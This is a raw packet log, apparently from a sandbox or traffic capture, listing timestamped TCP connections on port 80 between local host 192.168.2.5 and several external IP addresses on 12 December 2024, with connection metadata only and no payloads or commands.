Dec 12, 2024 00:19:23.343019009 CET	80	49864	124.71.162.21	192.168.2.5
Dec 12, 2024 00:19:24.709273100 CET	80	49864	124.71.162.21	192.168.2.5
Dec 12, 2024 00:19:24.709472895 CET	80	49864	124.71.162.21	192.168.2.5
Dec 12, 2024 00:19:24.709647894 CET	49864	80	192.168.2.5	124.71.162.21
Dec 12, 2024 00:19:24.722141981 CET	49864	80	192.168.2.5	124.71.162.21
Dec 12, 2024 00:19:25.740930080 CET	49873	80	192.168.2.5	124.71.162.21
Dec 12, 2024 00:19:25.862457037 CET	80	49873	124.71.162.21	192.168.2.5
Dec 12, 2024 00:19:25.862634897 CET	49873	80	192.168.2.5	124.71.162.21
Dec 12, 2024 00:19:25.874519110 CET	49873	80	192.168.2.5	124.71.162.21
Dec 12, 2024 00:19:25.996028900 CET	80	49873	124.71.162.21	192.168.2.5
Dec 12, 2024 00:19:27.352281094 CET	80	49873	124.71.162.21	192.168.2.5
Dec 12, 2024 00:19:27.352310896 CET	80	49873	124.71.162.21	192.168.2.5
Dec 12, 2024 00:19:27.352459908 CET	49873	80	192.168.2.5	124.71.162.21
Dec 12, 2024 00:19:27.355815887 CET	49873	80	192.168.2.5	124.71.162.21
Dec 12, 2024 00:19:27.596137047 CET	80	49873	124.71.162.21	192.168.2.5
Dec 12, 2024 00:19:33.137367964 CET	49889	80	192.168.2.5	150.109.11.247
Dec 12, 2024 00:19:33.258388996 CET	80	49889	150.109.11.247	192.168.2.5
Dec 12, 2024 00:19:33.258585930 CET	49889	80	192.168.2.5	150.109.11.247
Dec 12, 2024 00:19:33.273760080 CET	49889	80	192.168.2.5	150.109.11.247
Dec 12, 2024 00:19:33.394870996 CET	80	49889	150.109.11.247	192.168.2.5
Dec 12, 2024 00:19:34.784764051 CET	49889	80	192.168.2.5	150.109.11.247
Dec 12, 2024 00:19:34.830887079 CET	80	49889	150.109.11.247	192.168.2.5
Dec 12, 2024 00:19:34.830900908 CET	80	49889	150.109.11.247	192.168.2.5
Dec 12, 2024 00:19:34.831163883 CET	49889	80	192.168.2.5	150.109.11.247
Dec 12, 2024 00:19:34.831163883 CET	49889	80	192.168.2.5	150.109.11.247
Dec 12, 2024 00:19:34.906331062 CET	80	49889	150.109.11.247	192.168.2.5
Dec 12, 2024 00:19:34.906589031 CET	49889	80	192.168.2.5	150.109.11.247
Dec 12, 2024 00:19:35.803070068 CET	49896	80	192.168.2.5	150.109.11.247
Dec 12, 2024 00:19:35.924730062 CET	80	49896	150.109.11.247	192.168.2.5
Dec 12, 2024 00:19:35.924835920 CET	49896	80	192.168.2.5	150.109.11.247
Dec 12, 2024 00:19:35.938417912 CET	49896	80	192.168.2.5	150.109.11.247
Dec 12, 2024 00:19:36.060061932 CET	80	49896	150.109.11.247	192.168.2.5
Dec 12, 2024 00:19:37.440962076 CET	49896	80	192.168.2.5	150.109.11.247
Dec 12, 2024 00:19:37.480165005 CET	80	49896	150.109.11.247	192.168.2.5
Dec 12, 2024 00:19:37.480211020 CET	80	49896	150.109.11.247	192.168.2.5
Dec 12, 2024 00:19:37.480284929 CET	49896	80	192.168.2.5	150.109.11.247
Dec 12, 2024 00:19:37.480284929 CET	49896	80	192.168.2.5	150.109.11.247
Dec 12, 2024 00:19:37.561805010 CET	80	49896	150.109.11.247	192.168.2.5
Dec 12, 2024 00:19:37.561903000 CET	49896	80	192.168.2.5	150.109.11.247
Dec 12, 2024 00:19:38.459414005 CET	49902	80	192.168.2.5	150.109.11.247
Dec 12, 2024 00:19:38.579061031 CET	80	49902	150.109.11.247	192.168.2.5
Dec 12, 2024 00:19:38.579226971 CET	49902	80	192.168.2.5	150.109.11.247
Dec 12, 2024 00:19:38.593681097 CET	49902	80	192.168.2.5	150.109.11.247
Dec 12, 2024 00:19:38.713059902 CET	80	49902	150.109.11.247	192.168.2.5
Dec 12, 2024 00:19:38.713165045 CET	80	49902	150.109.11.247	192.168.2.5
Dec 12, 2024 00:19:40.097012997 CET	49902	80	192.168.2.5	150.109.11.247
Dec 12, 2024 00:19:40.287234068 CET	80	49902	150.109.11.247	192.168.2.5
Dec 12, 2024 00:19:40.287270069 CET	80	49902	150.109.11.247	192.168.2.5
Dec 12, 2024 00:19:40.287308931 CET	49902	80	192.168.2.5	150.109.11.247
Dec 12, 2024 00:19:40.287338972 CET	49902	80	192.168.2.5	150.109.11.247
Dec 12, 2024 00:19:40.287698030 CET	80	49902	150.109.11.247	192.168.2.5
Dec 12, 2024 00:19:40.287755966 CET	49902	80	192.168.2.5	150.109.11.247
Dec 12, 2024 00:19:40.393037081 CET	80	49902	150.109.11.247	192.168.2.5
Dec 12, 2024 00:19:40.393094063 CET	49902	80	192.168.2.5	150.109.11.247
Dec 12, 2024 00:19:41.115358114 CET	49911	80	192.168.2.5	150.109.11.247
Dec 12, 2024 00:19:41.234689951 CET	80	49911	150.109.11.247	192.168.2.5
Dec 12, 2024 00:19:41.235446930 CET	49911	80	192.168.2.5	150.109.11.247
Dec 12, 2024 00:19:41.243158102 CET	49911	80	192.168.2.5	150.109.11.247
Dec 12, 2024 00:19:41.362459898 CET	80	49911	150.109.11.247	192.168.2.5
Dec 12, 2024 00:19:42.777731895 CET	80	49911	150.109.11.247	192.168.2.5
Dec 12, 2024 00:19:42.778078079 CET	80	49911	150.109.11.247	192.168.2.5
Dec 12, 2024 00:19:42.778153896 CET	49911	80	192.168.2.5	150.109.11.247
Dec 12, 2024 00:19:42.780942917 CET	49911	80	192.168.2.5	150.109.11.247
Dec 12, 2024 00:19:42.900417089 CET	80	49911	150.109.11.247	192.168.2.5
Dec 12, 2024 00:19:48.762160063 CET	49929	80	192.168.2.5	173.208.249.155
Dec 12, 2024 00:19:48.883758068 CET	80	49929	173.208.249.155	192.168.2.5
Dec 12, 2024 00:19:48.883966923 CET	49929	80	192.168.2.5	173.208.249.155
Dec 12, 2024 00:19:48.903033972 CET	49929	80	192.168.2.5	173.208.249.155
Dec 12, 2024 00:19:49.024519920 CET	80	49929	173.208.249.155	192.168.2.5
Dec 12, 2024 00:19:50.045525074 CET	80	49929	173.208.249.155	192.168.2.5
Dec 12, 2024 00:19:50.045655966 CET	80	49929	173.208.249.155	192.168.2.5
Dec 12, 2024 00:19:50.045667887 CET	80	49929	173.208.249.155	192.168.2.5
Dec 12, 2024 00:19:50.045715094 CET	49929	80	192.168.2.5	173.208.249.155
Dec 12, 2024 00:19:50.046139002 CET	80	49929	173.208.249.155	192.168.2.5
Dec 12, 2024 00:19:50.046154022 CET	80	49929	173.208.249.155	192.168.2.5
Dec 12, 2024 00:19:50.046169996 CET	80	49929	173.208.249.155	192.168.2.5
Dec 12, 2024 00:19:50.046181917 CET	80	49929	173.208.249.155	192.168.2.5
Dec 12, 2024 00:19:50.046185970 CET	49929	80	192.168.2.5	173.208.249.155
Dec 12, 2024 00:19:50.046217918 CET	49929	80	192.168.2.5	173.208.249.155
Dec 12, 2024 00:19:50.046696901 CET	80	49929	173.208.249.155	192.168.2.5
Dec 12, 2024 00:19:50.046706915 CET	80	49929	173.208.249.155	192.168.2.5
Dec 12, 2024 00:19:50.046716928 CET	80	49929	173.208.249.155	192.168.2.5
Dec 12, 2024 00:19:50.046750069 CET	49929	80	192.168.2.5	173.208.249.155
Dec 12, 2024 00:19:50.046768904 CET	49929	80	192.168.2.5	173.208.249.155
Dec 12, 2024 00:19:50.051239967 CET	80	49929	173.208.249.155	192.168.2.5
Dec 12, 2024 00:19:50.051309109 CET	49929	80	192.168.2.5	173.208.249.155
Dec 12, 2024 00:19:50.409600973 CET	49929	80	192.168.2.5	173.208.249.155
Dec 12, 2024 00:19:51.427686930 CET	49935	80	192.168.2.5	173.208.249.155
Dec 12, 2024 00:19:51.549413919 CET	80	49935	173.208.249.155	192.168.2.5
Dec 12, 2024 00:19:51.549604893 CET	49935	80	192.168.2.5	173.208.249.155
Dec 12, 2024 00:19:51.565583944 CET	49935	80	192.168.2.5	173.208.249.155
Dec 12, 2024 00:19:51.687019110 CET	80	49935	173.208.249.155	192.168.2.5
Dec 12, 2024 00:19:52.710707903 CET	80	49935	173.208.249.155	192.168.2.5
Dec 12, 2024 00:19:52.710783005 CET	80	49935	173.208.249.155	192.168.2.5
Dec 12, 2024 00:19:52.710794926 CET	80	49935	173.208.249.155	192.168.2.5
Dec 12, 2024 00:19:52.710836887 CET	49935	80	192.168.2.5	173.208.249.155
Dec 12, 2024 00:19:52.711070061 CET	80	49935	173.208.249.155	192.168.2.5
Dec 12, 2024 00:19:52.711081028 CET	80	49935	173.208.249.155	192.168.2.5
Dec 12, 2024 00:19:52.711090088 CET	80	49935	173.208.249.155	192.168.2.5
Dec 12, 2024 00:19:52.711100101 CET	80	49935	173.208.249.155	192.168.2.5
Dec 12, 2024 00:19:52.711116076 CET	49935	80	192.168.2.5	173.208.249.155
Dec 12, 2024 00:19:52.711148024 CET	49935	80	192.168.2.5	173.208.249.155
Dec 12, 2024 00:19:52.711468935 CET	80	49935	173.208.249.155	192.168.2.5
Dec 12, 2024 00:19:52.711486101 CET	80	49935	173.208.249.155	192.168.2.5
Dec 12, 2024 00:19:52.711493969 CET	80	49935	173.208.249.155	192.168.2.5
Dec 12, 2024 00:19:52.711517096 CET	49935	80	192.168.2.5	173.208.249.155
Dec 12, 2024 00:19:52.711541891 CET	49935	80	192.168.2.5	173.208.249.155
Dec 12, 2024 00:19:52.716586113 CET	80	49935	173.208.249.155	192.168.2.5
Dec 12, 2024 00:19:52.716640949 CET	49935	80	192.168.2.5	173.208.249.155
Dec 12, 2024 00:19:53.065840006 CET	49935	80	192.168.2.5	173.208.249.155
Dec 12, 2024 00:19:54.086905956 CET	49941	80	192.168.2.5	173.208.249.155
Dec 12, 2024 00:19:54.208141088 CET	80	49941	173.208.249.155	192.168.2.5
Dec 12, 2024 00:19:54.208228111 CET	49941	80	192.168.2.5	173.208.249.155
Dec 12, 2024 00:19:54.223640919 CET	49941	80	192.168.2.5	173.208.249.155
Dec 12, 2024 00:19:54.345175982 CET	80	49941	173.208.249.155	192.168.2.5
Dec 12, 2024 00:19:54.347357988 CET	80	49941	173.208.249.155	192.168.2.5
Dec 12, 2024 00:19:55.398338079 CET	80	49941	173.208.249.155	192.168.2.5
Dec 12, 2024 00:19:55.398406982 CET	80	49941	173.208.249.155	192.168.2.5
Dec 12, 2024 00:19:55.398417950 CET	80	49941	173.208.249.155	192.168.2.5
Dec 12, 2024 00:19:55.398570061 CET	80	49941	173.208.249.155	192.168.2.5
Dec 12, 2024 00:19:55.398581028 CET	80	49941	173.208.249.155	192.168.2.5
Dec 12, 2024 00:19:55.398802996 CET	80	49941	173.208.249.155	192.168.2.5
Dec 12, 2024 00:19:55.398821115 CET	80	49941	173.208.249.155	192.168.2.5
Dec 12, 2024 00:19:55.398832083 CET	80	49941	173.208.249.155	192.168.2.5
Dec 12, 2024 00:19:55.398842096 CET	80	49941	173.208.249.155	192.168.2.5
Dec 12, 2024 00:19:55.398852110 CET	80	49941	173.208.249.155	192.168.2.5
Dec 12, 2024 00:19:55.398864031 CET	49941	80	192.168.2.5	173.208.249.155
Dec 12, 2024 00:19:55.398864031 CET	49941	80	192.168.2.5	173.208.249.155
Dec 12, 2024 00:19:55.399358034 CET	49941	80	192.168.2.5	173.208.249.155
Dec 12, 2024 00:19:55.406243086 CET	80	49941	173.208.249.155	192.168.2.5
Dec 12, 2024 00:19:55.406497002 CET	49941	80	192.168.2.5	173.208.249.155
Dec 12, 2024 00:19:55.738966942 CET	49941	80	192.168.2.5	173.208.249.155
Dec 12, 2024 00:19:56.755945921 CET	49951	80	192.168.2.5	173.208.249.155
Dec 12, 2024 00:19:56.875186920 CET	80	49951	173.208.249.155	192.168.2.5
Dec 12, 2024 00:19:56.881412029 CET	49951	80	192.168.2.5	173.208.249.155
Dec 12, 2024 00:19:56.886972904 CET	49951	80	192.168.2.5	173.208.249.155
Dec 12, 2024 00:19:57.006221056 CET	80	49951	173.208.249.155	192.168.2.5
Dec 12, 2024 00:19:58.044935942 CET	80	49951	173.208.249.155	192.168.2.5
Dec 12, 2024 00:19:58.045036077 CET	80	49951	173.208.249.155	192.168.2.5
Dec 12, 2024 00:19:58.045053959 CET	80	49951	173.208.249.155	192.168.2.5
Dec 12, 2024 00:19:58.045150042 CET	49951	80	192.168.2.5	173.208.249.155
Dec 12, 2024 00:19:58.045278072 CET	80	49951	173.208.249.155	192.168.2.5
Dec 12, 2024 00:19:58.045295000 CET	80	49951	173.208.249.155	192.168.2.5
Dec 12, 2024 00:19:58.045310974 CET	80	49951	173.208.249.155	192.168.2.5
Dec 12, 2024 00:19:58.045321941 CET	49951	80	192.168.2.5	173.208.249.155
Dec 12, 2024 00:19:58.045331001 CET	80	49951	173.208.249.155	192.168.2.5
Dec 12, 2024 00:19:58.045371056 CET	49951	80	192.168.2.5	173.208.249.155
Dec 12, 2024 00:19:58.045689106 CET	80	49951	173.208.249.155	192.168.2.5
Dec 12, 2024 00:19:58.045732021 CET	49951	80	192.168.2.5	173.208.249.155
Dec 12, 2024 00:19:58.045814991 CET	80	49951	173.208.249.155	192.168.2.5
Dec 12, 2024 00:19:58.045830011 CET	80	49951	173.208.249.155	192.168.2.5
Dec 12, 2024 00:19:58.045871973 CET	49951	80	192.168.2.5	173.208.249.155
Dec 12, 2024 00:19:58.045974970 CET	80	49951	173.208.249.155	192.168.2.5
Dec 12, 2024 00:19:58.046025038 CET	49951	80	192.168.2.5	173.208.249.155
Dec 12, 2024 00:19:58.054088116 CET	49951	80	192.168.2.5	173.208.249.155
Dec 12, 2024 00:19:58.173464060 CET	80	49951	173.208.249.155	192.168.2.5
Dec 12, 2024 00:20:03.628238916 CET	49967	80	192.168.2.5	209.74.79.42
Dec 12, 2024 00:20:03.747567892 CET	80	49967	209.74.79.42	192.168.2.5
Dec 12, 2024 00:20:03.747709990 CET	49967	80	192.168.2.5	209.74.79.42
Dec 12, 2024 00:20:03.762929916 CET	49967	80	192.168.2.5	209.74.79.42
Dec 12, 2024 00:20:03.883215904 CET	80	49967	209.74.79.42	192.168.2.5
Dec 12, 2024 00:20:04.992533922 CET	80	49967	209.74.79.42	192.168.2.5
Dec 12, 2024 00:20:04.992724895 CET	80	49967	209.74.79.42	192.168.2.5
Dec 12, 2024 00:20:04.998935938 CET	49967	80	192.168.2.5	209.74.79.42
Dec 12, 2024 00:20:05.269303083 CET	49967	80	192.168.2.5	209.74.79.42
Dec 12, 2024 00:20:06.288503885 CET	49974	80	192.168.2.5	209.74.79.42
Dec 12, 2024 00:20:06.409848928 CET	80	49974	209.74.79.42	192.168.2.5
Dec 12, 2024 00:20:06.409941912 CET	49974	80	192.168.2.5	209.74.79.42
Dec 12, 2024 00:20:06.429075003 CET	49974	80	192.168.2.5	209.74.79.42
Dec 12, 2024 00:20:06.550086021 CET	80	49974	209.74.79.42	192.168.2.5
Dec 12, 2024 00:20:07.656577110 CET	80	49974	209.74.79.42	192.168.2.5
Dec 12, 2024 00:20:07.656647921 CET	80	49974	209.74.79.42	192.168.2.5
Dec 12, 2024 00:20:07.656868935 CET	49974	80	192.168.2.5	209.74.79.42
Dec 12, 2024 00:20:07.940706968 CET	49974	80	192.168.2.5	209.74.79.42
Dec 12, 2024 00:20:08.959703922 CET	49980	80	192.168.2.5	209.74.79.42
Dec 12, 2024 00:20:09.080863953 CET	80	49980	209.74.79.42	192.168.2.5
Dec 12, 2024 00:20:09.081011057 CET	49980	80	192.168.2.5	209.74.79.42
Dec 12, 2024 00:20:09.097485065 CET	49980	80	192.168.2.5	209.74.79.42
Dec 12, 2024 00:20:09.218832970 CET	80	49980	209.74.79.42	192.168.2.5
Dec 12, 2024 00:20:09.218859911 CET	80	49980	209.74.79.42	192.168.2.5
Dec 12, 2024 00:20:10.574354887 CET	80	49980	209.74.79.42	192.168.2.5
Dec 12, 2024 00:20:10.574373007 CET	80	49980	209.74.79.42	192.168.2.5
Dec 12, 2024 00:20:10.574430943 CET	49980	80	192.168.2.5	209.74.79.42
Dec 12, 2024 00:20:10.611747026 CET	80	49980	209.74.79.42	192.168.2.5
Dec 12, 2024 00:20:10.611799955 CET	49980	80	192.168.2.5	209.74.79.42
Dec 12, 2024 00:20:10.612493038 CET	49980	80	192.168.2.5	209.74.79.42
Dec 12, 2024 00:20:11.631360054 CET	49986	80	192.168.2.5	209.74.79.42
Dec 12, 2024 00:20:11.752111912 CET	80	49986	209.74.79.42	192.168.2.5
Dec 12, 2024 00:20:11.758896112 CET	49986	80	192.168.2.5	209.74.79.42
Dec 12, 2024 00:20:11.766904116 CET	49986	80	192.168.2.5	209.74.79.42
Dec 12, 2024 00:20:11.887933016 CET	80	49986	209.74.79.42	192.168.2.5
Dec 12, 2024 00:20:12.984282017 CET	80	49986	209.74.79.42	192.168.2.5
Dec 12, 2024 00:20:12.984293938 CET	80	49986	209.74.79.42	192.168.2.5
Dec 12, 2024 00:20:12.985064030 CET	49986	80	192.168.2.5	209.74.79.42
Dec 12, 2024 00:20:12.987770081 CET	49986	80	192.168.2.5	209.74.79.42
Dec 12, 2024 00:20:13.109086037 CET	80	49986	209.74.79.42	192.168.2.5
Dec 12, 2024 00:20:19.361618042 CET	50001	80	192.168.2.5	18.139.62.226
Dec 12, 2024 00:20:19.480868101 CET	80	50001	18.139.62.226	192.168.2.5
Dec 12, 2024 00:20:19.481005907 CET	50001	80	192.168.2.5	18.139.62.226
Dec 12, 2024 00:20:19.499521017 CET	50001	80	192.168.2.5	18.139.62.226
Dec 12, 2024 00:20:19.618803024 CET	80	50001	18.139.62.226	192.168.2.5
Dec 12, 2024 00:20:21.003076077 CET	50001	80	192.168.2.5	18.139.62.226
Dec 12, 2024 00:20:21.104382992 CET	80	50001	18.139.62.226	192.168.2.5
Dec 12, 2024 00:20:21.104516029 CET	80	50001	18.139.62.226	192.168.2.5
Dec 12, 2024 00:20:21.104657888 CET	50001	80	192.168.2.5	18.139.62.226
Dec 12, 2024 00:20:21.104657888 CET	50001	80	192.168.2.5	18.139.62.226
Dec 12, 2024 00:20:21.123939991 CET	80	50001	18.139.62.226	192.168.2.5
Dec 12, 2024 00:20:21.124105930 CET	50001	80	192.168.2.5	18.139.62.226
Dec 12, 2024 00:20:22.022130966 CET	50002	80	192.168.2.5	18.139.62.226
Dec 12, 2024 00:20:22.141387939 CET	80	50002	18.139.62.226	192.168.2.5
Dec 12, 2024 00:20:22.141470909 CET	50002	80	192.168.2.5	18.139.62.226
Dec 12, 2024 00:20:22.157824993 CET	50002	80	192.168.2.5	18.139.62.226
Dec 12, 2024 00:20:22.277080059 CET	80	50002	18.139.62.226	192.168.2.5
Dec 12, 2024 00:20:23.660886049 CET	50002	80	192.168.2.5	18.139.62.226
Dec 12, 2024 00:20:23.732131958 CET	80	50002	18.139.62.226	192.168.2.5
Dec 12, 2024 00:20:23.732148886 CET	80	50002	18.139.62.226	192.168.2.5
Dec 12, 2024 00:20:23.733181000 CET	50002	80	192.168.2.5	18.139.62.226
Dec 12, 2024 00:20:23.733181000 CET	50002	80	192.168.2.5	18.139.62.226
Dec 12, 2024 00:20:23.782018900 CET	80	50002	18.139.62.226	192.168.2.5
Dec 12, 2024 00:20:23.784701109 CET	50002	80	192.168.2.5	18.139.62.226
Dec 12, 2024 00:20:24.678173065 CET	50003	80	192.168.2.5	18.139.62.226
Dec 12, 2024 00:20:24.797619104 CET	80	50003	18.139.62.226	192.168.2.5
Dec 12, 2024 00:20:24.797718048 CET	50003	80	192.168.2.5	18.139.62.226
Dec 12, 2024 00:20:24.813807011 CET	50003	80	192.168.2.5	18.139.62.226
Dec 12, 2024 00:20:24.933172941 CET	80	50003	18.139.62.226	192.168.2.5
Dec 12, 2024 00:20:24.933249950 CET	80	50003	18.139.62.226	192.168.2.5
Dec 12, 2024 00:20:26.315495014 CET	50003	80	192.168.2.5	18.139.62.226
Dec 12, 2024 00:20:26.393815041 CET	80	50003	18.139.62.226	192.168.2.5
Dec 12, 2024 00:20:26.393897057 CET	50003	80	192.168.2.5	18.139.62.226
Dec 12, 2024 00:20:26.393908978 CET	80	50003	18.139.62.226	192.168.2.5
Dec 12, 2024 00:20:26.393995047 CET	50003	80	192.168.2.5	18.139.62.226
Dec 12, 2024 00:20:26.436636925 CET	80	50003	18.139.62.226	192.168.2.5
Dec 12, 2024 00:20:26.436744928 CET	50003	80	192.168.2.5	18.139.62.226
Dec 12, 2024 00:20:27.335360050 CET	50004	80	192.168.2.5	18.139.62.226
Dec 12, 2024 00:20:27.457237959 CET	80	50004	18.139.62.226	192.168.2.5
Dec 12, 2024 00:20:27.458986044 CET	50004	80	192.168.2.5	18.139.62.226
Dec 12, 2024 00:20:27.474821091 CET	50004	80	192.168.2.5	18.139.62.226
Dec 12, 2024 00:20:27.596007109 CET	80	50004	18.139.62.226	192.168.2.5
Dec 12, 2024 00:20:29.046928883 CET	80	50004	18.139.62.226	192.168.2.5
Dec 12, 2024 00:20:29.047007084 CET	80	50004	18.139.62.226	192.168.2.5
Dec 12, 2024 00:20:29.047422886 CET	50004	80	192.168.2.5	18.139.62.226
Dec 12, 2024 00:20:29.050827980 CET	50004	80	192.168.2.5	18.139.62.226
Dec 12, 2024 00:20:29.171603918 CET	80	50004	18.139.62.226	192.168.2.5
Dec 12, 2024 00:20:34.922838926 CET	50005	80	192.168.2.5	101.32.205.61
Dec 12, 2024 00:20:35.042401075 CET	80	50005	101.32.205.61	192.168.2.5
Dec 12, 2024 00:20:35.042692900 CET	50005	80	192.168.2.5	101.32.205.61
Dec 12, 2024 00:20:35.068353891 CET	50005	80	192.168.2.5	101.32.205.61
Dec 12, 2024 00:20:35.187824965 CET	80	50005	101.32.205.61	192.168.2.5
Dec 12, 2024 00:20:36.572283983 CET	80	50005	101.32.205.61	192.168.2.5
Dec 12, 2024 00:20:36.572443008 CET	80	50005	101.32.205.61	192.168.2.5
Dec 12, 2024 00:20:36.572504044 CET	50005	80	192.168.2.5	101.32.205.61
Dec 12, 2024 00:20:36.581084013 CET	50005	80	192.168.2.5	101.32.205.61
Dec 12, 2024 00:20:37.599263906 CET	50006	80	192.168.2.5	101.32.205.61
Dec 12, 2024 00:20:37.719213963 CET	80	50006	101.32.205.61	192.168.2.5
Dec 12, 2024 00:20:37.721451998 CET	50006	80	192.168.2.5	101.32.205.61
Dec 12, 2024 00:20:37.733057976 CET	50006	80	192.168.2.5	101.32.205.61
Dec 12, 2024 00:20:37.852473021 CET	80	50006	101.32.205.61	192.168.2.5
Dec 12, 2024 00:20:39.237741947 CET	50006	80	192.168.2.5	101.32.205.61
Dec 12, 2024 00:20:39.250551939 CET	80	50006	101.32.205.61	192.168.2.5
Dec 12, 2024 00:20:39.250729084 CET	50006	80	192.168.2.5	101.32.205.61
Dec 12, 2024 00:20:39.250771999 CET	80	50006	101.32.205.61	192.168.2.5
Dec 12, 2024 00:20:39.251351118 CET	50006	80	192.168.2.5	101.32.205.61
Dec 12, 2024 00:20:39.358573914 CET	80	50006	101.32.205.61	192.168.2.5
Dec 12, 2024 00:20:39.358791113 CET	50006	80	192.168.2.5	101.32.205.61
Dec 12, 2024 00:20:40.257128000 CET	50007	80	192.168.2.5	101.32.205.61
Dec 12, 2024 00:20:40.378072977 CET	80	50007	101.32.205.61	192.168.2.5
Dec 12, 2024 00:20:40.378160954 CET	50007	80	192.168.2.5	101.32.205.61
Dec 12, 2024 00:20:40.390288115 CET	50007	80	192.168.2.5	101.32.205.61
Dec 12, 2024 00:20:40.511120081 CET	80	50007	101.32.205.61	192.168.2.5
Dec 12, 2024 00:20:40.512681007 CET	80	50007	101.32.205.61	192.168.2.5
Dec 12, 2024 00:20:41.893842936 CET	50007	80	192.168.2.5	101.32.205.61
Dec 12, 2024 00:20:42.015533924 CET	80	50007	101.32.205.61	192.168.2.5
Dec 12, 2024 00:20:42.015598059 CET	50007	80	192.168.2.5	101.32.205.61
Dec 12, 2024 00:20:42.911911011 CET	50008	80	192.168.2.5	101.32.205.61
Dec 12, 2024 00:20:43.033790112 CET	80	50008	101.32.205.61	192.168.2.5
Dec 12, 2024 00:20:43.034842968 CET	50008	80	192.168.2.5	101.32.205.61
Dec 12, 2024 00:20:43.044095039 CET	50008	80	192.168.2.5	101.32.205.61
Dec 12, 2024 00:20:43.165390968 CET	80	50008	101.32.205.61	192.168.2.5
Dec 12, 2024 00:20:44.566230059 CET	80	50008	101.32.205.61	192.168.2.5
Dec 12, 2024 00:20:44.566247940 CET	80	50008	101.32.205.61	192.168.2.5
Dec 12, 2024 00:20:44.566391945 CET	50008	80	192.168.2.5	101.32.205.61
Dec 12, 2024 00:20:44.569375992 CET	50008	80	192.168.2.5	101.32.205.61
Dec 12, 2024 00:20:44.688711882 CET	80	50008	101.32.205.61	192.168.2.5
Dec 12, 2024 00:20:52.751106977 CET	50009	80	192.168.2.5	38.6.78.235
Dec 12, 2024 00:20:52.872113943 CET	80	50009	38.6.78.235	192.168.2.5
Dec 12, 2024 00:20:52.872210979 CET	50009	80	192.168.2.5	38.6.78.235
Dec 12, 2024 00:20:52.883976936 CET	50009	80	192.168.2.5	38.6.78.235
Dec 12, 2024 00:20:53.005058050 CET	80	50009	38.6.78.235	192.168.2.5
Dec 12, 2024 00:20:54.153814077 CET	80	50009	38.6.78.235	192.168.2.5
Dec 12, 2024 00:20:54.153834105 CET	80	50009	38.6.78.235	192.168.2.5
Dec 12, 2024 00:20:54.154006004 CET	50009	80	192.168.2.5	38.6.78.235
Dec 12, 2024 00:20:54.393544912 CET	50009	80	192.168.2.5	38.6.78.235
Dec 12, 2024 00:20:55.439996958 CET	50010	80	192.168.2.5	38.6.78.235
Dec 12, 2024 00:20:55.561780930 CET	80	50010	38.6.78.235	192.168.2.5
Dec 12, 2024 00:20:55.562812090 CET	50010	80	192.168.2.5	38.6.78.235
Dec 12, 2024 00:20:55.573148966 CET	50010	80	192.168.2.5	38.6.78.235
Dec 12, 2024 00:20:55.694588900 CET	80	50010	38.6.78.235	192.168.2.5
Dec 12, 2024 00:20:56.845474958 CET	80	50010	38.6.78.235	192.168.2.5
Dec 12, 2024 00:20:56.845530033 CET	80	50010	38.6.78.235	192.168.2.5
Dec 12, 2024 00:20:56.845701933 CET	50010	80	192.168.2.5	38.6.78.235
Dec 12, 2024 00:20:57.081150055 CET	50010	80	192.168.2.5	38.6.78.235
Dec 12, 2024 00:20:58.099150896 CET	50011	80	192.168.2.5	38.6.78.235
Dec 12, 2024 00:20:58.219670057 CET	80	50011	38.6.78.235	192.168.2.5
Dec 12, 2024 00:20:58.219784975 CET	50011	80	192.168.2.5	38.6.78.235
Dec 12, 2024 00:20:58.232774973 CET	50011	80	192.168.2.5	38.6.78.235
Dec 12, 2024 00:20:58.352396011 CET	80	50011	38.6.78.235	192.168.2.5
Dec 12, 2024 00:20:58.352437973 CET	80	50011	38.6.78.235	192.168.2.5
Dec 12, 2024 00:20:59.519824982 CET	80	50011	38.6.78.235	192.168.2.5
Dec 12, 2024 00:20:59.519870996 CET	80	50011	38.6.78.235	192.168.2.5
Dec 12, 2024 00:20:59.519969940 CET	50011	80	192.168.2.5	38.6.78.235
Dec 12, 2024 00:20:59.737185955 CET	50011	80	192.168.2.5	38.6.78.235
Dec 12, 2024 00:21:00.756251097 CET	50012	80	192.168.2.5	38.6.78.235
Dec 12, 2024 00:21:00.875891924 CET	80	50012	38.6.78.235	192.168.2.5
Dec 12, 2024 00:21:00.876108885 CET	50012	80	192.168.2.5	38.6.78.235
Dec 12, 2024 00:21:00.888006926 CET	50012	80	192.168.2.5	38.6.78.235
Dec 12, 2024 00:21:01.007742882 CET	80	50012	38.6.78.235	192.168.2.5
Dec 12, 2024 00:21:02.185863018 CET	80	50012	38.6.78.235	192.168.2.5
Dec 12, 2024 00:21:02.185911894 CET	80	50012	38.6.78.235	192.168.2.5
Dec 12, 2024 00:21:02.186162949 CET	50012	80	192.168.2.5	38.6.78.235
Dec 12, 2024 00:21:02.188659906 CET	50012	80	192.168.2.5	38.6.78.235
Dec 12, 2024 00:21:02.310280085 CET	80	50012	38.6.78.235	192.168.2.5
Dec 12, 2024 00:21:07.675323963 CET	50013	80	192.168.2.5	3.125.36.175
Dec 12, 2024 00:21:07.796185017 CET	80	50013	3.125.36.175	192.168.2.5
Dec 12, 2024 00:21:07.797244072 CET	50013	80	192.168.2.5	3.125.36.175
Dec 12, 2024 00:21:07.809226036 CET	50013	80	192.168.2.5	3.125.36.175
Dec 12, 2024 00:21:07.930413961 CET	80	50013	3.125.36.175	192.168.2.5
Dec 12, 2024 00:21:09.175654888 CET	80	50013	3.125.36.175	192.168.2.5
Dec 12, 2024 00:21:09.175688028 CET	80	50013	3.125.36.175	192.168.2.5
Dec 12, 2024 00:21:09.175707102 CET	80	50013	3.125.36.175	192.168.2.5
Dec 12, 2024 00:21:09.175800085 CET	80	50013	3.125.36.175	192.168.2.5
Dec 12, 2024 00:21:09.175863028 CET	50013	80	192.168.2.5	3.125.36.175
Dec 12, 2024 00:21:09.179368973 CET	50013	80	192.168.2.5	3.125.36.175
Dec 12, 2024 00:21:09.316818953 CET	50013	80	192.168.2.5	3.125.36.175
Dec 12, 2024 00:21:10.334728003 CET	50014	80	192.168.2.5	3.125.36.175
Dec 12, 2024 00:21:10.456523895 CET	80	50014	3.125.36.175	192.168.2.5
Dec 12, 2024 00:21:10.456617117 CET	50014	80	192.168.2.5	3.125.36.175
Dec 12, 2024 00:21:10.474838972 CET	50014	80	192.168.2.5	3.125.36.175
Dec 12, 2024 00:21:10.596410036 CET	80	50014	3.125.36.175	192.168.2.5
Dec 12, 2024 00:21:11.851180077 CET	80	50014	3.125.36.175	192.168.2.5
Dec 12, 2024 00:21:11.851201057 CET	80	50014	3.125.36.175	192.168.2.5
